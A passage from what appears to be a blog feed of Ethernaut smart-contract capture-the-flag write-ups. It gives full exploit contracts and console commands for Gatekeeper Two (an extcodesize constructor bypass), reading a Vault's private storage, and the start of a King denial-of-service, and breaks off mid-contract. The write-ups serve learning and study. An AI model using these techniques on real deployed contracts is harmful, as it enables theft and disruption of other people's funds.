2: 0x0000000000000000000000000000000000000000000000000000000000000000
3: 0x12345678000007d2000000000000000000000000000000000000000000000000
</code></pre>
<p>If you step forward once, you will see the new state of the memory stack:</p>
<pre><code class="lang-terminal">0: 0x0000000000000000000000000000000000000000000000000000000000000000 
1: 0x0000000000000000000000000000000000000000000000000000000000000000
2: 0x12345678000007d2000000000000000000000000000000000000000000000000
</code></pre>
<p>Which means that the <code>EQ</code> instruction did in fact compare <code>1454 == 0</code> with result <code>0</code>. As we know from the contract's code that this comparison is <code>gasLeft().mod(8191) == 0</code>. And <code>1454</code> in hexadecimal is <code>0x00000000000000000000000000000000000000000000000000000000000005ae</code></p>
<p>From there, a few steps later the <code>REVERT</code> opcode is called. Which, as you might expect, means that the execution will halt, and the transaction will get reverted. Which is exactly what we would expect if the remaining gas is indeed not divisible by <code>8191</code>.</p>
<h4 id="heading-formulating-a-hypothesis-and-testing-it-out">Formulating a hypothesis and testing it out</h4>
<p>Therefore, It must be the case that that first value given as input to <code>EQ</code> is the result we are looking for. That is, the reminder of dividing the amount of gas left by 8191. </p>
<p>So we can just substract that value from the <code>withGasAmount</code> input. Then the reminder should be exactly <code>0</code>.</p>
<p>We would expect that using  <code>withGasAmount = 100000 - 1454 = 98546</code> will successfully bypass <code>gateTwo</code>, if our model is correct. Here are my results:</p>
<table>
  <tr>
     Results
  </tr>
  <tr>
    <th><code>gasAmount</code></th>
    <th><code>gasLeft()</code></th>
    <th><code>gasLeft().mod(8191)</code></th>
    <th><code>EQ</code> inputs (decimal)</th>
    <th><code>EQ</code> output</th>
  </tr>
  <tr>
    <td>98543</td>
    <td>98290</td>
    <td>8188</td>
    <td>(8188,0)</td>
    <td>0</td>
  </tr>
<tr>
    <td>98544</td>
    <td>98290</td>
    <td>8189</td>
    <td>(8189,0)</td>
    <td>0</td>
  </tr>
  <tr>
    <td>98545</td>
    <td>98291</td>
    <td>8190</td>
    <td>(8190,0)</td>
    <td>0</td>
  </tr>
<tr>
    <td>98546</td>
    <td>98292</td>
    <td>0</td>
    <td>(0,0)</td>
    <td>1</td>
  </tr>
<tr>
    <td>98547</td>
    <td>98293</td>
    <td>1</td>
    <td>(1,0)</td>
    <td>0</td>
  </tr>
<tr>
    <td>98548</td>
    <td>98294</td>
    <td>2</td>
    <td>(2,0)</td>
    <td>0</td>
  </tr>
  <tr>
    <td>98548</td>
    <td>98295</td>
    <td>3</td>
    <td>(3,0)</td>
    <td>0</td>
  </tr>
</table>

<p>You get the idea. It follows the usual modular arithmetic (modulo 8191). And where the remainder is <code>0</code>, the result of <code>EQ</code> should be true.</p>
<p>So let's try that out for real! </p>
<p>I did learn how to set the value of <code>withGasAmount</code>. I'll try this solution out with the Rinkeby network and see what happens. </p>
<h4 id="heading-trying-it-out-on-rinkeby">Trying it out on Rinkeby</h4>
<p>The main difference is that the Ethernaut will deploy the victim contract for me. And I will use my ethereum wallet to generate the <code>_gateKey</code>. </p>
<p>I'll deploy the contract with the instance address that the Ethernaut gives me, and will send a transaction to <code>bypassUnlock()</code> with <code>10,000</code> for <code>withGasAmount</code></p>
<p>The transaction as expected fails. So, for the sake of confirmation lets's open the debugger. We won't be able to see the exact instructions, as the other contract is living on the live blockchain. </p>
<p>But I took care of taking note of the execution step of the <code>GAS</code> instruction. It was execution step 74. That means that on execution step 75 the top item of the memory stack should be the amount of gas left. From there, it won't be too hard to locate where the <code>EQ</code> instruction that does the comparison happens. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652344043378/Zwmdih31d.png" alt="3B3D5892-F3B1-40D7-AA0E-0E30441C6197.png" /></p>
<p>What do you think? I got the following values:</p>
<pre><code><span class="hljs-attribute">gasLeft</span>: <span class="hljs-number">0</span>x<span class="hljs-number">2612</span> // <span class="hljs-number">9746</span> in decimal!!!
<span class="hljs-attribute">gasLeft</span>.mod(<span class="hljs-number">8191</span>): <span class="hljs-number">1555</span>
</code></pre><p>Which is <em>exactly</em> what I expected. Therefore using <code>withGasAmount = 10,000 - 1555 = 8445</code> should make the transaction succed. </p>
<p>However, before we solve the challenge...</p>
<p>Note that when we tried <code>withGasAmount = 100,000</code> on the JavaScriptVM (previous header), and when we tried  <code>withGasAmount = 10,000</code>  just now, we got the same amount of gas utilization. </p>
<p>Here, I am comparing <code>gasAmount - gasLeft</code> : 
$$
10000 - 9746 = 254 = 100000 - 99746
$$
This means that both the JavaScriptVM and the rinkeby network are using the same amount of gas per instruction. This is not a given though! </p>
<p>But in this particular case we have empirical confirmation that they do. Both cases use exactly <code>254</code> gas. </p>
<p>So... </p>
<p>As the EVM is deterministic, I am willing to bet that if I input <code>98546</code> (the amount of gas that worked on the JavaScriptVM) it <em>will work</em> on the rinkeby network. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652344074551/N7qJgfj0G.png" alt="8F9B699A-274A-4C43-9BE9-CC13A7969654.png" /></p>
<p>Isn't that just gorgeous? Lets submit the solution.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652344111654/L2BM-G_ev.png" alt="760C1BDE-780E-4775-B0BC-90B4ED3D57C9.png" /></p>
<blockquote>
<p>Maths baby! :D</p>
</blockquote>
<hr />
<h2 id="heading-14th-challenge-gatekeeper-two">14th Challenge: Gatekeeper Two</h2>
<p>This challenge is similar to the previous one, but involves more advanced concepts. Although it is significantly easier :D</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GatekeeperTwo</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> entrant;

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateOne</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">uint</span> x;
    <span class="hljs-keyword">assembly</span> { x <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(<span class="hljs-built_in">caller</span>()) }
    <span class="hljs-built_in">require</span>(x <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint64</span>(<span class="hljs-keyword">bytes8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)))) <span class="hljs-operator">^</span> <span class="hljs-keyword">uint64</span>(_gateKey) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-number">0</span>) <span class="hljs-operator">-</span> <span class="hljs-number">1</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">gateOne</span> <span class="hljs-title">gateTwo</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params">_gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    entrant <span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  }
}
</code></pre>
<p>First we will bypass <code>gateOne</code> by the same method as before. That is, calling <code>enter()</code> indirectly from another contract. But, as you will see, given <code>gateTwo</code> it seems impossible to do so.  <code>gateTwo</code> will fail if we call <code>enter()</code> from a contract. And <code>gateOne</code> will fail if we don't. </p>
<p>How is this challenge solveable then?</p>
<p>Let's examine it more closely.</p>
<h3 id="heading-understanding-the-problem-assembly-and-the-size-of-caller">Understanding the problem: Assembly and the size of <code>caller()</code></h3>
<p><code>gateTwo</code> involves <code>assembly</code>. This means that at that point the contract is not using solidity. Instead it allows you to write <a target="_blank" href="https://docs.soliditylang.org/en/v0.6.10/yul.html#yul">an intermediate language called Yul</a>. </p>
<p>In Yul's default dialect you can <a target="_blank" href="https://docs.soliditylang.org/en/v0.6.10/yul.html#evm-dialect">call EVM opcodes as functions</a>. So let's read some of the documentation and interpret the lines:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint</span> x;
<span class="hljs-keyword">assembly</span> { x <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(<span class="hljs-built_in">caller</span>()) };
<span class="hljs-built_in">require</span> (x <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
</code></pre>
<p>First, the <code>assembly {...}</code>  part is called <a target="_blank" href="https://docs.soliditylang.org/en/v0.6.10/assembly.html">inline assembly</a>, and is a feature of solidity. It allows you to write in a lower-level language. In case you want to access give EVM instructions directly. So you can have very fine-grained control over your program. </p>
<blockquote>
<p>As you may expect, it bypasses a ton of safety features of solidity. So you should use it with caution!</p>
</blockquote>
<p>Inline assembly can access local variables by their name. All <a target="_blank" href="https://docs.soliditylang.org/en/v0.6.10/yul.html#evm-dialect">variables in Yul are 256-bit</a> "words" that the EVM uses natively, so there is not really any distinction of types inside it. </p>
<blockquote>
<p>In the EVM everything eventually boils down to 256-bit chunks of data. Most of the types in solidity are higher level conveniences! You can read about <a target="_blank" href="https://ethereum.org/en/developers/docs/evm/#evm-instructions">how the EVM handles its stack</a>) if you want to learn more!</p>
</blockquote>
<p>But as <code>x</code> is of type <code>uint</code>, it is by default a 256-bit unsigned integer. So there wont be any problem with Yul modifying it by <a target="_blank" href="https://docs.soliditylang.org/en/v0.6.10/yul.html#assignments">assigning it with the <code>:=</code> operator</a>.</p>
<p><code>extcodesize(a)</code> gets the size of the code at any given address <code>a</code>. A wallet address will return <code>0</code> as expected, but any contract will necessarily return something bigger than that!</p>
<p>In this case the address is returned by <code>caller()</code>. Which returns the call sender. But you can see something weird here. To pass this gate it is necessary that the size of <code>caller()</code> is 0. But, by <code>gateOne</code> it is also necessary that the caller is a contract! </p>
<pre><code class="lang-solidity"> <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateOne</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">// The caller must be a contract!</span>
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>); 
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">uint</span> x;
    <span class="hljs-keyword">assembly</span> { x <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(<span class="hljs-built_in">caller</span>()) } 
    <span class="hljs-comment">// The caller must NOT be a contract!</span>
    <span class="hljs-built_in">require</span>(x <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-keyword">_</span>;
  }
</code></pre>
<p>How is that even possible?</p>
<p>A wallet address might fulfill this requirement, so <code>gateTwo</code> may be intended to disallow contracts from passing, allowing only user wallets. </p>
<p>But of course, we can exploit this and have a contract pass this gate. We must, because of <code>gateOne</code> which will not pass it we call <code>enter()</code> from an user address.</p>
<p>We will have to figure out a way to make the vulnerable contract think that our contract code has size zero!</p>
<blockquote>
<p>Which it obviously doesn't!</p>
</blockquote>
<h3 id="heading-exploiting-extcodesize">Exploiting <code>extcodesize()</code></h3>
<p>Now that we understand the seemingly impossible problem, let's dive into the exploit!</p>
<p>Chapter 7 of the <a target="_blank" href="https://ethereum.github.io/yellowpaper/paper.pdf">Ethereum Yellow Paper</a> describes the details of contract creation. Subsection 7.1 mentions some subtleties:</p>
<blockquote>
<p>(...) while the initialisation code is executing, the newly created address exists but with no intrinsic body code (...) during initialization code execution <code>EXTCODESIZE</code> on the address should return zero, which is the length of the code of the account, while <code>CODESIZE</code> should return the length of the initialization code.(p.11)</p>
</blockquote>
<p>So the EVM instruction <code>EXTCODESIZE</code>, which in Yul is <code>extcodesize(a)</code>, will return 0 for both a wallet address AND a contract while it is being initialized.</p>
<p>So, from this, the answer should be super obvious. Just call the external function during our contract's constructor!</p>
<pre><code><span class="hljs-comment">// Bypass extcodesize() example.</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Bypasser</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _victim</span>) </span>{
        _victim.vulnerableFunction() <span class="hljs-comment">//extcodesize == 0</span>
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title"><span class="hljs-keyword">try</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _victim</span>) </span>{
        _victim.vulnerableFunction() <span class="hljs-comment">//extcodesize != 0</span>
    }

}
</code></pre><blockquote>
<p>As dumb as it might sound, that's how it is supposed to work. I you want to secure a contract, you could try using a combination of <code>EXTCODESIZE</code> and <code>CODESIZE</code></p>
</blockquote>
<p>So that is the way we are gonna bypass both <code>gateOne</code> and <code>gateTwo</code> at the same time!</p>
<p>The final part is the key we need to pass to <code>enter()</code>. So let's solve that next.</p>
<h3 id="heading-gatethree-and-more-math"><code>gateThree</code> and more math</h3>
<p>Here's the part we will bypass</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint64</span>(<span class="hljs-keyword">bytes8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)))) <span class="hljs-operator">^</span> <span class="hljs-keyword">uint64</span>(_gateKey) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-number">0</span>) <span class="hljs-operator">-</span> <span class="hljs-number">1</span>);
    <span class="hljs-keyword">_</span>;
  }
</code></pre>
<p>Let's abstract away some of the clutter and note that the comparison has the following form:
$$
a \circ b = c
$$
Where \(\circ\) is the bitwise <code>XOR</code> operator. Writen as <code>^</code> in solidity. The way I will solve this is by finding an equivalent equation that makes it easy to compute <code>_gateKey</code> inside my contract.</p>
<p>The <code>XOR</code> operator forms an <em>abelian group</em> along with the set of n-sized bit strings. Check this article about <a target="_blank" href="https://www.themathcitadel.com/group-theory-xor-and-binary-codes-introducing-coding-theory/">group theory, XOR and binary codes</a> if you want to learn more. For the time being we are interested in a couple of properties of this specific group:</p>
<p>Consider the group with \( \circ\). And suppose \(x\) and \(y\), \(z\) are n-sized bit-strings. Then:</p>
<ol>
<li>\((x \circ y) \circ z = x \circ y \circ z = x \circ (y \circ z)\) the operation is associative</li>
<li>\(x \circ y = z = y \circ x\)  the operation is commutative</li>
<li>\(x\circ x = 0\)  every element has an inverse (ie. here \(x\) is its own inverse)</li>
<li>\(x \circ 0 = x = 0 \circ x\)  there is an identity element \(0\)</li>
</ol>
<blockquote>
<p>In fact, the general version of these properties are the definition of abelian groups (also called commutative groups). A proof that a set with some operation is a group requires showing that they satisfy these properties. Check the link above for the proof! </p>
</blockquote>
<p>We can then use those properties to perform algebraic reasoning about the equation at hand.</p>
<p>Armed with this knowledge lets define:</p>
<ul>
<li>\(a\) = <code>uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))</code></li>
<li>\(b\) = <code>uint64(_gateKey)</code></li>
<li>\(c\) = <code>uint64(-1) = uint64(0) - 1</code> </li>
</ul>
<p>Since we are working in the context of bit strings, we don't really care about the type conversions (also, 8bytes is the same size as 64bits). The only important thing to keep in mind is that everything is treated as a 64-bit string.</p>
<p>Then, we can do some algebra with \(a \circ b = c\) using the properties the underlying group has:</p>
<p>\begin{align}
a \circ b  &amp;= c \\
a \circ b \circ (b \circ c) &amp;= c \circ (b \circ c) \\
a \circ (b \circ b) \circ c &amp;= c \circ (c \circ b) \\
a \circ (b \circ b) \circ c &amp;= (c \circ c)\circ b \\
a \circ 0 \circ c &amp;= 0\circ b \\
a \circ c &amp;= b \\
\end{align}</p>
<blockquote>
<p>Can you say which properties I used on each step? </p>
</blockquote>
<p>Therefore the <code>_gateKey</code> (\(b\) in the equations) can be computed as follows from our contract. </p>
<pre><code><span class="hljs-keyword">uint64</span> gateKey <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-keyword">bytes8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">this</span>)))) <span class="hljs-operator">^</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-number">-1</span>)
</code></pre><p>Note that <code>keccak256</code> is taking a 20-byte address and will return a <code>bytes32</code> hash, but as we are casting it as a <code>bytes8</code> it should work just fine.</p>
<p>We just need to compute this inside our contract's constructor. And send it along with the transaction. This way we will bypass all three gates!</p>
<p>Let's finally write the contract!</p>
<h3 id="heading-writing-the-contract-and-running-the-exploit">Writing the contract and running the exploit</h3>
<p>We will combine all three strategies for bypassing the three gates into a single contract.</p>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.10;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IGateKeeper</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}



<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Bypasser</span> </span>{
    <span class="hljs-comment">// running everything in the constructor guarantees that extcodesize ==0</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _victim</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        IGateKeeper gk2 <span class="hljs-operator">=</span> IGateKeeper(_victim);
        <span class="hljs-comment">// compute the key</span>
        <span class="hljs-keyword">uint64</span> computedKey <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-keyword">bytes8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">this</span>)))) <span class="hljs-operator">^</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-number">-1</span>);
        <span class="hljs-comment">// calling from a contract guarantees that msg.sender != tx.origin</span>
        gk2.enter(<span class="hljs-keyword">bytes8</span>(computedKey));
    }

}
</code></pre>
<p>The exploit will run just once when it is deployed. Let's quickly write and compile the contract in Remix and deploy it with the instace address that the Ethernaut will give us. That address is the address of the contract that we will exploit</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652344173219/hF5EZ1ZPk.png" alt="8A4022AD-A74C-4B25-A0EC-479DC5DDCC67.png" /></p>
<p>Then let's submit the challenge in the Ethernaut and wait for the transaction to execute. The Ethernaut console will let us know if we were successful</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652344191430/4GejlqkG7.png" alt="40B24F40-E931-47CE-9E5B-061C63A3C8F0.png" /></p>
<p>Success! We successfully exploited the contract, bypassing the seemingly impossible gates.</p>
<hr />
<h2 id="heading-epilogue">Epilogue.</h2>
<p>Pat yourself on the back! This was quite a lot!</p>
<p>This one was quite dense. But with just a bit of patience It is very manageable.</p>
<p>Regarding the 13th challege (gatekeeper One), I have seen solutions on the internet that involve brute forcing the solution. But brute force may not always be possible. I am willing to bet, it is often not.</p>
<p>If you are securing a smart contract you really should take care of making it non brute-forceable anyways.</p>
<p>The alternative path, of figuring out what is happening on the EVM, is more involved. But well worth the effort. At least for me, it really helped me get comfortable with how Ethereum works. </p>
<p>It even forced me to read a big chunk of the Ethereum Yellow Paper!</p>
<p>Hopefully this was insightful or at least entertaining to read :D</p>
<p>...</p>
<p>I am currently looking for a job. Feel free to contact me if you need someone that can figure stuff out. </p>
<p>Or just to say hi!</p>
<p>I am mostly active on twitter. So maybe follow me there?</p>
<div class="hn-embed-widget" id="twitter-follow"></div>]]></content:encoded></item><item><title><![CDATA[Ethernaut: accessing private data, denial of service, reentrancy attacks and dishonest contracts.]]></title><description><![CDATA[Let's get straight to it. The vulnerabilities exploited on this installment are not trivial and can be particularly malicious. Specially the reentrancy attack at #10.
8th Challenge: Vault - accessing private data
We will need to unlock the following ...]]></description><link>https://blog.jrlgs.dev/ethernaut-accessing-private-data-denial-of-service-reentrancy-attacks-and-dishonest-contracts</link><guid isPermaLink="true">https://blog.jrlgs.dev/ethernaut-accessing-private-data-denial-of-service-reentrancy-attacks-and-dishonest-contracts</guid><category><![CDATA[Blockchain]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Sun, 08 May 2022 14:11:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1652001347947/r_3GGUrn9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Let's get straight to it. The vulnerabilities exploited on this installment are not trivial and can be particularly malicious. Specially the reentrancy attack at #10.</p>
<h2 id="heading-8th-challenge-vault-accessing-private-data">8th Challenge: Vault - accessing private data</h2>
<p>We will need to unlock the following vault to pass this level.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Vault</span> </span>{
  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> locked;
  <span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">private</span> password;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    locked <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    password <span class="hljs-operator">=</span> _password;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unlock</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span> (password <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _password) {
      locked <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    }
  }
}
</code></pre>
<p>If you check solidity's documentation you will realize that the <code>private</code> modifier only means that other contracts cannot read the variable. But everything in the blockchain is public and accessible if you are clever enough.</p>
<p>The EVM lays out the storage of a smart contract in a table of \(2^{256}\) slots, each of 32 bytes. Stored sequentially in the order they are declared. And any values of size smaller than 32 bytes will be stored together in the same slot as long as they are sequential and they fit completely in 32 bytes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652014954211/fEu4zmoSx.png" alt="DEB9D4B6-34F8-4948-A929-BAEAE4FCF0E5.png" /></p>
<p>Let's start by reverse-engineering the storage layout of the <code>Vault</code> contract.</p>
<p>In <code>Vault</code>'s storage, slot 0 is occupied by <code>bool locked</code>. Which occupies only 1 byte (that wasn't a typo. Solidity uses one whole byte for <code>bool</code>). Therefore <code>bytes32 password</code> does not fit in that same slot, so it must be stored in slot 1.</p>
<p>Thus, to solve the challenge we will need to retrieve the storage, trim down the first slot and read the 32 bytes stored in the second slot. Then we will use that as input to call <code>unlock()</code> which is a public function.</p>
<p>We will use the console for this. Once we get the address of the contract, we use web3.js to call</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> web3.eth.getStorageAt(<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">address</span>&gt;</span>, 1)</span>
</code></pre>
<p>Which will return whatever is stored in <code>bytes32 private password</code>. Then we can convert it to a string. If we want to read the very secure password.</p>
<pre><code class="lang-js">web3.utils.toAscii(<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">bytes32-password</span>&gt;</span>)</span>
</code></pre>
<p>Finally we will call <code>unlock()</code> on the contract.</p>
<pre><code>await <span class="hljs-keyword">contract</span>.unlock(<span class="hljs-operator">&lt;</span><span class="hljs-keyword">bytes32</span><span class="hljs-operator">-</span>password<span class="hljs-operator">&gt;</span>)
</code></pre><p>Unlocking the contract.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651970913299/llA-wLTxO.png" alt="Screen Shot 2022-05-07 at 19.47.48.png" /></p>
<h2 id="heading-9th-challenge-king-denial-of-service">9th Challenge: King - denial of service</h2>
<p>Consider the following game. Whoever sends an amount of ether larger than the current price will become the new king. The overthrown king will receive that ether, making a small profit. For this challenge we have to break this contract so that no one can claim kingship. </p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">King</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> king;
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> prize;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> owner;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;  
    king <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    prize <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> prize <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner);
    king.<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
    king <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    prize <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_king</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span></span>) </span>{
    <span class="hljs-keyword">return</span> king;
  }
}
</code></pre>
<p>We cannot break the contract by tampering with the price, as the owner can always satisfy the <code>require()</code>. </p>
<p>But note that the eth transfer is performed <em>before</em> changing to the new king. If we can somehow set up a new king that will make <code>king.transfer(msg.value)</code> fail, then we will make it impossible to ever set a new king. As any call to <code>receive()</code> will always fail before setting up a new king!</p>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoisonedKing</span> </span>{
    <span class="hljs-keyword">address</span> victim <span class="hljs-operator">=</span> <span class="hljs-number">0x6084ECc869ae439610a5c461b2c021db0c70A88E</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">poison</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-comment">//this contract has no eth, so we cannot use address.transfer()</span>
